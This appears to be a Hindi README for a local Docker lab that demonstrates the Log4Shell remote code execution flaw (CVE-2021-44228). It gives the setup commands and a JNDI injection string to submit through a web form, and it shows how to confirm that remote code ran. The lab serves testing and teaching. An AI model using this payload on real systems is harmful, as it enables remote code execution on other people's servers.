
log4j2 CVE-2021-44228 POC
यह प्रोजेक्ट log4j2 की रिमोट कोड एक्सीक्यूशन भेद्यता (CVE-2021-44228) को वास्तव में परीक्षण करने के लिए है।
docker-compose up
log4j कंटेनर को शुरू होने और उपयोग के लिए तैयार होने में थोड़ा समय लगता है। कृपया निम्न कमांड से प्रगति की जाँच करें।
docker logs -f log4j
जब Server started: Listening on port 8081 दिखाई दे, तो तैयार है।
log4j कंटेनर के /root निर्देशिका की जाँच करें।
docker exec log4j ls /root
प्रारंभिक अवस्था में, केवल work निर्देशिका है।
http://localhost:8081/ पर जाएँ। यह एक सरल एप्लिकेशन है जो फॉर्म में दर्ज नाम को स्क्रीन और लॉग में आउटपुट करता है।
फॉर्म में ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} दर्ज करें और सबमिट करें।
log4j कंटेनर के /root निर्देशिका की जाँच करें।
docker exec log4j ls /root
हमलावर द्वारा तैयार कोड निष्पादित होगा, और वे फ़ाइलें बन जाएंगी जो पहले मौजूद नहीं थीं। चूंकि फ़ाइल नामों में टाइमस्टैम्प है, इसलिए हमले की संख्या के अनुसार नई फ़ाइलें बढ़ती रहेंगी।
ldap कंटेनर के लॉग की जाँच करने पर, log4j कंटेनर से SEARCH अनुरोध आ रहा है।
docker logs ldap
web कंटेनर के tomcat लॉग की जाँच करने पर, log4j कंटेनर से Exploit.class (हमले में उपयोग किया जाने वाला क्लास) तक पहुँच आ रही है।
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*